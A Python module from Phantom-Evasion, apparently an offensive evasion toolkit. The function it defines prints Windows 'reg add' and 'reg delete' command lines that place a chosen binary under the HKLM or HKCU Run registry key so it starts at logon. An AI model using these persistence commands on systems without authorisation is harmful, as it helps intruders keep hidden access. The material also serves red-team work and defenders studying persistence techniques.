
     ########################################################################################
     #                                                                                      #
     #    This file is part of Phantom-Evasion.                                             #
     #                                                                                      #
     #    Phantom-Evasion is free software: you can redistribute it and/or modify           #
     #    it under the terms of the GNU General Public License as published by              #
     #    the Free Software Foundation, either version 3 of the License, or                 #
     #    (at your option) any later version.                                               #
     #                                                                                      #
     #    Phantom-Evasion is distributed in the hope that it will be useful,                #
     #    but WITHOUT ANY WARRANTY; without even the implied warranty of                    #
     #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                     #
     #    GNU General Public License for more details.                                      #
     #                                                                                      #  
     #    You should have received a copy of the GNU General Public License                 #
     #   along with Phantom-Evasion.  If not, see <http://www.gnu.org/licenses/>.           #
     #                                                                                      #
     ########################################################################################

import sys 
sys.path.append("Modules/payloads/auxiliar")
from usefull import bcolors
from time import sleep

def Persistence_CMD_REG_windows(ModOpt):

    if ModOpt["Priv"] == True:
    
        Req = bcolors.RED + "Required" + bcolors.ENDC
        AddPersistenceCmd = "reg add \"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" /V \"" + ModOpt["Pname"] + "\" /t REG_SZ /F /D \"" + ModOpt["Binpath"] + "\""
        RemovePersistenceCmd = "reg delete \"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" /V \"" + ModOpt["Pname"] + "\" /f"

    else:
        Req = bcolors.GREEN + "Not Required"  + bcolors.ENDC
        AddPersistenceCmd = "reg add \"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" /V \"" + ModOpt["Pname"] + "\" /t REG_SZ /F /D \"" + ModOpt["Binpath"] + "\""
        RemovePersistenceCmd = "reg delete \"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" /V \"" + ModOpt["Pname"] + "\" /f"

    sleep(0.2)
    print(bcolors.GREEN + "\n[>] Generating cmdline...\n" + bcolors.ENDC)
    sleep(1)
    print("\n" + bcolors.OCRA + bcolors.BOLD + "[>] Admin Priv: " + bcolors.ENDC + bcolors.ENDC + Req)
    print("\n" + bcolors.OCRA + bcolors.BOLD + "[>] Add Persistence Cmdline: " + bcolors.ENDC + bcolors.ENDC + AddPersistenceCmd)
    print("\n" + bcolors.OCRA + bcolors.BOLD + "[>] Remove Persistence Cmdline: " + bcolors.ENDC + bcolors.ENDC + RemovePersistenceCmd)

